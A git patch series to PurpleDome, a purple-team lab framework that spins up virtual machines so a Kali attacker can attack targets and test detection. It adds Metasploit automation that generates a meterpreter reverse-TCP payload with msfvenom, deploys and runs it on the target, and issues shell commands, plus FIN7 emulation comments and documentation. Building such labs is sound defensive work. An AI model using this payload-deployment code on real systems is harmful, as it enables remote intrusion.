From 2d69e8714255c3309c4d14e8bfe714445bfd9015 Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Tue, 8 Jun 2021 12:05:10 +0200 Subject: [PATCH 1/6] basic functionality for metasploit working as POC --- app/metasploit.py | 124 ++++++++++++++++++++++++++++++++++++------ metasploit_control.py | 61 +++++++++++++-------- 2 files changed, 146 insertions(+), 39 deletions(-) diff --git a/app/metasploit.py b/app/metasploit.py index af98e10..8a0daad 100644 --- a/app/metasploit.py +++ b/app/metasploit.py @@ -2,6 +2,12 @@ from pymetasploit3.msfrpc import MsfRpcClient from app.machinecontrol import Machine +from app.attack_log import AttackLog +from app.interface_sfx import CommandlineColors +import time + + +import os # https://github.com/DanMcInerney/pymetasploit3 @@ -19,29 +25,83 @@ class Metasploit(): :param kwargs: Relevant ones: uri, port, server, username """ - self.client = MsfRpcClient(password, **kwargs) - + self.password = password + self.kwargs = kwargs + self.client = None + + # Optional attacker: If a running attacker machine is passed, we take it and start the msfrpcd + # Alternative: The server is taken and we expect an already running msfrpcd there + self.attacker = kwargs.get("attacker", None) + if self.attacker: + # we expect a running attacker but without a running msfrcpd + self.start_msfrpcd(kwargs.get("username")) + kwargs["server"] = self.attacker.get_ip() + time.sleep(3) # Waiting for server to start. Or we would get https connection errors when getting the client. + + self.get_client() + # self.client = MsfRpcClient(password, **kwargs) + # TODO: Improve speed and reliability with exception handling and retries # Waiting for reverse shell - exploit = self.client.modules.use('exploit', 'exploit/multi/handler') - print(exploit.description) - print(exploit.missing_required) - payload = self.client.modules.use('payload', 'linux/x64/meterpreter_reverse_tcp') - print(payload.description) - print(payload.missing_required) - payload["LHOST"] = "192.168.178.125" - + self.exploit_stub_for_external_payload() + + print("Meterpreter executing") + print(self.meterpreter_execute("getuid", 0)) + print("Done") + + def exploit_stub_for_external_payload(self, exploit='exploit/multi/handler', payload='linux/x64/meterpreter_reverse_tcp'): + exploit = self.client.modules.use('exploit', exploit) + # print(exploit.description) + # print(exploit.missing_required) + payload = self.client.modules.use('payload', payload) + # print(payload.description) + # print(payload.missing_required) + payload["LHOST"] = self.attacker.get_ip() res = exploit.execute(payload=payload) print(res) - print(self.client.sessions.list) - sid = list(self.client.sessions.list)[0] - shell = self.client.sessions.session(sid) - shell.write("getuid") - print(shell.read()) + def start_msfrpcd(self, username): + """ Starts the msfrpcs on the attacker. Metasploit must alredy be installed there ! """ + + cmd = f"msfrpcd -P {self.password} -U {username} -S" + + self.attacker.remote_run(cmd, disown=True) + + def get_client(self): + """ Get a local metasploit client connected to the metasploit server """ + if self.client: + return self.client + self.client = MsfRpcClient(self.password, **self.kwargs) + return self.client + + def get_sid(self, number=0): + """ Get the first session between hacked target and the metasploit server + + @param number: number of the session to get + """ + + # TODO improve stability and speed + while len(self.client.sessions.list) <= number: + # print(self.client.sessions.list) + # print("Waiting for session") + time.sleep(1) + return list(self.client.sessions.list)[number] + + def meterpreter_execute(self, cmd: str, session_number: int) -> str: + """ Executes a command on the meterpreter, returns result read from shell + + @param cmd: command to execute + @param session_number: session number + @:return: the string result + """ + shell = self.client.sessions.session(self.get_sid(session_number)) + shell.write(cmd) + return shell.read() + +########################################################################## class MSFVenom(): - def __init__(self, attacker: Machine, target: Machine): + def __init__(self, attacker: Machine, target: Machine, attack_logger: AttackLog): """ :param attacker: attacker machine @@ -50,6 +110,7 @@ class MSFVenom(): self.attacker = attacker self.target = target + self.attack_logger = attack_logger def generate_cmd(self, **kwargs): """ Generates a cmd @@ -62,7 +123,7 @@ class MSFVenom(): platform = kwargs.get("platform", self.target.get_os()) lhost = kwargs.get("lhost", self.attacker.get_ip()) format = kwargs.get("format", None) # file format - outfile = kwargs.get("outfile", "exploit.exe") + outfile = kwargs.get("outfile", "payload.exe") cmd = "msfvenom" if architecture is not None: @@ -116,3 +177,32 @@ class MSFVenom(): cmd = self.generate_cmd(**kwargs) self.attacker.remote_run(cmd) + + def generate_and_deploy(self, **kwargs): + """ Will generate the payload and directly deploy it to the target + + :return: + """ + self.generate_payload(**kwargs) + + payload_name = kwargs.get("outfile", "payload.exe") + + self.attacker.get(payload_name, self.target.get_machine_path_external()) + src = os.path.join(self.target.get_machine_path_external(), payload_name) + + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Generated {payload_name}...deploying it{CommandlineColors.ENDC}", + 1) + # Deploy to target + self.target.put(src, self.target.get_playground()) + + # TODO run on target + if self.target.get_playground() is not None: + cmd = f"cd {self.target.get_playground()};" + else: + cmd = "" + cmd += f"chmod +x {payload_name}; ./{payload_name}" + self.target.remote_run(cmd, disown=True) + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Executed payload {payload_name} on {self.target.get_name()} {CommandlineColors.ENDC}", + 1) diff --git a/metasploit_control.py b/metasploit_control.py index 7a41ee5..000af29 100644 --- a/metasploit_control.py +++ b/metasploit_control.py @@ -7,40 +7,57 @@ from app.metasploit import MSFVenom, Metasploit if __name__ == "__main__": # msfrpcd -S -P password -u user -f - attacker_ip = "192.168.178.125" + # attacker_ip = "192.168.178.125" # target_ip = "192.168.178.125" # Metasploit RPC password = "password" user = "user" - attack_logger = AttackLog(0) - attacker = Machine({"root": "systems/attacker1", - "os": "linux", - "vm_controller": { - "type": "vagrant", - "vagrantfilepath": "systems", - "ip": attacker_ip - }, - "vm_name": "attacker1"}, attack_logger) + attack_logger = AttackLog(2) + attacker = Machine({ # "root": "systems/attacker1", + "os": "linux", + "vm_controller": { + "type": "vagrant", + "vagrantfilepath": "systems", + # "ip": attacker_ip + }, + "vm_name": "attacker", + "machinepath": "attacker1"}, attack_logger) + attacker.up() # Target machine is attacker machine here - target = Machine({"root": "systems/attacker1", - "os": "linux", - "vm_controller": { - "type": "vagrant", - "vagrantfilepath": "systems", - "ip": attacker_ip - }, - "vm_name": "attacker1"}, attack_logger) - - venom = MSFVenom(attacker, target) + target = Machine({ # "root": "systems/target3", + "os": "linux", + "vm_controller": { + "type": "vagrant", + "vagrantfilepath": "systems", + # "ip": attacker_ip + }, + "vm_name": "target3", + "machinepath": "target3"}, attack_logger) + target.up() + + venom = MSFVenom(attacker, target, attack_logger) print(venom.generate_cmd(payload="linux/x64/meterpreter_reverse_tcp", architecture="x64", platform="linux", # lhost, format="elf", outfile="clickme.exe")) - - metasploit = Metasploit(password, server=attacker.get_ip(), username=user) + venom.generate_and_deploy(payload="linux/x64/meterpreter_reverse_tcp", + architecture="x64", + platform="linux", + lhost=attacker.get_ip(), + format="elf", + outfile="clickme.exe") + # start msfrpcd on attacker + # TODO get meterpreter session + # TODO simple command to test + + metasploit = Metasploit(password, attacker=attacker, username=user) # client = MsfRpcClient('yourpassword', ssl=True) + + + target.halt() + attacker.halt() From fbd2ab99e060cd342063137961cc84662ae786fa Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Tue, 8 Jun 2021 12:05:27 +0200 Subject: [PATCH 2/6] improved documentation --- plugins/base/ssh_features.py | 1 + 1 file changed, 1 insertion(+) diff --git a/plugins/base/ssh_features.py b/plugins/base/ssh_features.py index 061b5cc..6b046b9 100644 --- a/plugins/base/ssh_features.py +++ b/plugins/base/ssh_features.py @@ -59,6 +59,7 @@ class SSHFeatures(BasePlugin): def remote_run(self, cmd, disown=False): """ Connects to the machine and runs a command there + @param cmd: The command to execute @param disown: Send the connection into background """ From de5fc486d1fff4237277f6b840a750871f1d2969 Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Tue, 8 Jun 2021 12:05:53 +0200 Subject: [PATCH 3/6] code simplification --- app/machinecontrol.py | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/app/machinecontrol.py b/app/machinecontrol.py index c68e82a..5ff7a09 100644 --- a/app/machinecontrol.py +++ b/app/machinecontrol.py @@ -102,11 +102,11 @@ class Machine(): """ Reboot a machine """ if self.get_os() == "windows": - self.vm_manager.remote_run("shutdown /r") + self.remote_run("shutdown /r") self.vm_manager.__call_disconnect__() time.sleep(60) # Shutdown can be slow.... if self.get_os() == "linux": - self.vm_manager.remote_run("reboot") + self.remote_run("reboot") self.vm_manager.__call_disconnect__() res = None while not res: @@ -317,6 +317,11 @@ class Machine(): return self.vm_manager.get_ip() + def get_name(self): + """ Returns the machine name """ + + return self.config.vmname() + def get_playground(self): """ Return this machine's playground """ @@ -382,9 +387,9 @@ class Machine(): self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Starting Caldera server {CommandlineColors.ENDC}", 1) # The pkill was added because the server sometimes gets stuck. And we can not re-create the attacking machines in all cases - self.vm_manager.__call_remote_run__(" pkill -f server.py;", disown=False) + self.remote_run(" pkill -f server.py;", disown=False) cmd = f"cd {self.caldera_basedir}; cd caldera ; nohup python3 server.py --insecure &" - self.vm_manager.__call_remote_run__(cmd, disown=True) + self.remote_run(cmd, disown=True) self.wait_for_caldera_server() self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}Caldera server started. Confirmed it is running. {CommandlineColors.ENDC}", 1) @@ -430,7 +435,7 @@ class Machine(): # cmd = self.__install_caldera_service_cmd().strip() cmd = self.__wmi_cmd_for_caldera_implant() print(cmd) - self.vm_manager.remote_run(cmd, disown=True) + self.remote_run(cmd, disown=True) if self.get_os() == "linux": dst = self.get_playground() @@ -440,7 +445,7 @@ class Machine(): cmd = self.create_start_caldera_client_cmd().strip() print(cmd) - self.vm_manager.remote_run(cmd, disown=True) + self.remote_run(cmd, disown=True) self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}Caldera client started {CommandlineColors.ENDC}", 1) From 0295fd88020c08853b4f0f0be99684e7b366512c Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Tue, 8 Jun 2021 12:06:31 +0200 Subject: [PATCH 4/6] using log level for output --- .../adversary_emulations/FIN7/fin7_section1.py | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/plugins/default/adversary_emulations/FIN7/fin7_section1.py b/plugins/default/adversary_emulations/FIN7/fin7_section1.py index 96d39c3..a8f92f1 100644 --- a/plugins/default/adversary_emulations/FIN7/fin7_section1.py +++ b/plugins/default/adversary_emulations/FIN7/fin7_section1.py @@ -93,6 +93,9 @@ class FIN7Plugin(AttackPlugin): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 4: Staging Interactive Toolkit{CommandlineColors.ENDC}", 1) + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Create babymetal replacement{CommandlineColors.ENDC}", + 1) # Uploaded stager creates meterpreter shell (babymetal) # Generate payload: @@ -106,11 +109,19 @@ class FIN7Plugin(AttackPlugin): outfile=payload_name) self.attacker_machine_plugin.get(payload_name, self.targets[0].get_machine_path_external()) src = os.path.join(self.targets[0].get_machine_path_external(), payload_name) + + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Deploy babymetal replacement{CommandlineColors.ENDC}", + 1) self.targets[0].put(src, self.targets[0].get_playground()) if self.targets[0].get_playground() is not None: pl = os.path.join(self.targets[0].get_playground(), payload_name) else: pl = payload_name + + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Execute babymetal replacement - waiting for meterpreter shell{CommandlineColors.ENDC}", + 1) self.targets[0].remote_run(pl, disown=True) # adb156.exe -> cmd.exe ->powershell.exe decodes embedded dll payload https://attack.mitre.org/techniques/T1059/003/ and https://attack.mitre.org/techniques/T1059/001/ @@ -144,7 +155,7 @@ class FIN7Plugin(AttackPlugin): # powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/ # spawn powershell through cmd - # use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/ + # !!! admin host!!! use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/ # paexec starts temorary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/ # hollow.exe spawns svchost and unmaps memory image https://attack.mitre.org/techniques/T1055/012/ # svchost starts data exchange From e1df094fd537e395abf2db9f01b019e866df6d23 Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Wed, 9 Jun 2021 13:46:33 +0200 Subject: [PATCH 5/6] Documentation upgrade --- README.md | 59 ++++++++++++++----- .../{kali_plugins.rst => attack_plugins.rst} | 15 +++-- doc/source/index.rst | 2 +- 3 files changed, 55 insertions(+), 21 deletions(-) rename doc/source/extending/{kali_plugins.rst => attack_plugins.rst} (80%) diff --git a/README.md b/README.md index 849bf13..5eed7ae 100644 --- a/README.md +++ b/README.md @@ -1,31 +1,62 @@ -# Creates vulnerable systems +# PurpleDome creates simulated systems which hack each other -Uses vagrant to set up vulnerable systems. Sensors and maybe attack agents will be installed as well. +It creates several virtual machines to simulate a target network. A Kali attacker will be spawned and use configured attacks to blast at the targets. Those attacks can be Kali command line tools, Caldera abilities or Metasploit tools. -Will use vagrant config. It is quite likely that it we will need some parameters to create similar but not identical systems. +The goal is to test sensors and detection logic on the targets and in the network and improve them. -## Testing +The system is at the same time reproducible and quite flexible (target system wise, vulnerabilities on the targets, attacks). -*Prerequisites:* +## Installation -Install python environment, e.g. using `conda`: -``` -conda create -n purpledome python=3.8 -conda activate purpledome -``` +Setting up the python environment: -Then install the required dependencies in the crated python environment: ``` -pip install -r requirements.txt +./init.sh ``` -*Call test suite:* +The typical local use case is to create the machines using Vagrant and running them in VirtualBox: + +... +sudo apt install vagrant virtualbox +... + +You will have to switch into the python environment to run it + +Before using any PurpleDome commands switch into the python environment: + +... +source venv/bin/activate +... + +(this will contain the libraries in the required versions) + +## Testing + +Basic code and unit tests can be run by ``` make test ``` -## Documentation +That way you can also see if your env is set up properly + +## Running the basic commands + +All command line tools have a help included. You can access it by the "--help" parameter + +... +python3 ./experiment_control.py -v run +... + +* -v is verbosity. To spam stdout use -vvv +* run is the default command +* --configfile is optional. If not supplied it will take experiment.yaml + +Most of the configuration is done in the yaml config file. For more details check out the full documentation + +## The real documentation + +This README is just a short overview. In depth documentation can be found in the *doc* folder. Documentation is using sphinx diff --git a/doc/source/extending/kali_plugins.rst b/doc/source/extending/attack_plugins.rst similarity index 80% rename from doc/source/extending/kali_plugins.rst rename to doc/source/extending/attack_plugins.rst index 7668989..6478792 100644 --- a/doc/source/extending/kali_plugins.rst +++ b/doc/source/extending/attack_plugins.rst @@ -1,8 +1,11 @@ -************ -Kali plugins -************ +************** +Attack plugins +************** -Kali attacks can be extended using a plugin system. An example plugin is in the file *hydra_plugin.py*. It contains a plugin class that **MUST** be based on the *KaliPlugin* class. + +Attack features of PurpleDome can be extended using a plugin system. Those attack plugins can start Caldera ttacks, run Kali command line tools ir use Metasploit. + +An example plugin is in the file *hydra_plugin.py*. It contains a plugin class that **MUST** be based on the *AttackPlugin* class. :: @@ -16,7 +19,7 @@ Kali attacks can be extended using a plugin system. An example plugin is in the Usage ===== -To create a new plugin, start a sub-folder in plugins. The python file in there must contain a class that inherits from *KaliPlugin*. +To create a new plugin, start a sub-folder in plugins. The python file in there must contain a class that inherits from *AttackPlugin*. There is an example plugin *hydra.py* that you can use as template. @@ -59,5 +62,5 @@ If you are using the plugin, you **must** have a config section for this kali pl The plugin class ================ -.. autoclass:: plugins.base.kali.KaliPlugin +.. autoclass:: plugins.base.attack.AttackPlugin :members: \ No newline at end of file diff --git a/doc/source/index.rst b/doc/source/index.rst index f648363..80f921c 100644 --- a/doc/source/index.rst +++ b/doc/source/index.rst @@ -27,7 +27,7 @@ Welcome to the Purple Dome documentation! extending/vulnerability_plugins.rst - extending/kali_plugins + extending/attack_plugins extending/sensor_plugins From 883194b7285f1c79db45743af6384777e9710cdc Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Wed, 9 Jun 2021 15:46:14 +0200 Subject: [PATCH 6/6] Documentation upgrade --- doc/source/index.rst | 6 ++--- doc/source/usage/caldera_control_cli.rst | 0 doc/source/usage/cli.rst | 30 +++++++++++---------- doc/source/usage/experiment_control_cli.rst | 0 doc/source/usage/machine_control_cli.rst | 0 requirements.txt | 2 +- 6 files changed, 20 insertions(+), 18 deletions(-) create mode 100644 doc/source/usage/caldera_control_cli.rst create mode 100644 doc/source/usage/experiment_control_cli.rst create mode 100644 doc/source/usage/machine_control_cli.rst diff --git a/doc/source/index.rst b/doc/source/index.rst index 80f921c..abc87fb 100644 --- a/doc/source/index.rst +++ b/doc/source/index.rst @@ -12,7 +12,7 @@ Welcome to the Purple Dome documentation! ========================================= .. toctree:: - :maxdepth: 2 + :maxdepth: 3 :caption: Contents: basics/background @@ -25,13 +25,13 @@ Welcome to the Purple Dome documentation! usage/cli - extending/vulnerability_plugins.rst + extending/vulnerability_plugins extending/attack_plugins extending/sensor_plugins - extending/vm_controller_plugins.rst + extending/vm_controller_plugins extending/extending diff --git a/doc/source/usage/caldera_control_cli.rst b/doc/source/usage/caldera_control_cli.rst new file mode 100644 index 0000000..e69de29 diff --git a/doc/source/usage/cli.rst b/doc/source/usage/cli.rst index ece012b..832e205 100644 --- a/doc/source/usage/cli.rst +++ b/doc/source/usage/cli.rst @@ -4,35 +4,37 @@ CLI There are three command line tools that offer a simple interface to PurpleDome. -Experiment control ------------------- - -Experiment control is the core tool to run an experiment. It accepts a yaml config file and runs the experiments in there. The configuration file defines the system to be used (together with a Vagrant file being referenced there) and the attacks to run. +The central one is Experiment control where you start your experiments: .. asciinema:: ./../asciinema/experiment_control.cast :speed: 2 +Experiment control +================== + +Experiment control is the core tool to run an experiment. It accepts a yaml config file and runs the experiments in there. The configuration file defines the system to be used (together with a Vagrant file being referenced there) and the attacks to run. + .. argparse:: :filename: ../experiment_control.py :func: create_parser :prog: ./experiment_control.py -Caldera control ---------------- +Machine control +=============== -Directly control a caldera server +Directly control the machines .. argparse:: - :filename: ../caldera_control.py + :filename: ../machine_control.py :func: create_parser - :prog: ./caldera_control.py + :prog: ./machine_control.py -Machine control ---------------- +Caldera control +=============== -Directly control the machines +Directly control a caldera server .. argparse:: - :filename: ../machine_control.py + :filename: ../caldera_control.py :func: create_parser - :prog: ./machine_control.py + :prog: ./caldera_control.py \ No newline at end of file diff --git a/doc/source/usage/experiment_control_cli.rst b/doc/source/usage/experiment_control_cli.rst new file mode 100644 index 0000000..e69de29 diff --git a/doc/source/usage/machine_control_cli.rst b/doc/source/usage/machine_control_cli.rst new file mode 100644 index 0000000..e69de29 diff --git a/requirements.txt b/requirements.txt index 3c4b59a..7dafc5e 100644 --- a/requirements.txt +++ b/requirements.txt @@ -9,6 +9,6 @@ sphinx-pyreverse==0.0.13 coverage==5.4 PyYAML==5.4.1 straight.plugin==1.5.0 -sphinxcontrib.asciinema==0.3.1 +sphinxcontrib.asciinema==0.3.2 paramiko==2.7.2 pymetasploit3==1.0.3